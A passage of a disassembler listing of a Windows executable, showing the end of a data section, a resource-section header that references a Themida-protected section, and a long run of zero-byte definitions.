dd 142340h ; DATA XREF: ___:0042368Ar ; ___:004237B5r dword_4DD390 dd 1 ; DATA XREF: ___:00423780w dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 2450758h ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 2450758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0) ___ ends ; Section 2. (virtual address 000DF000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000DF000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4DF000h unk_4DF000 db 0 ; DATA XREF: Themida_:0054D860o db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 db 0 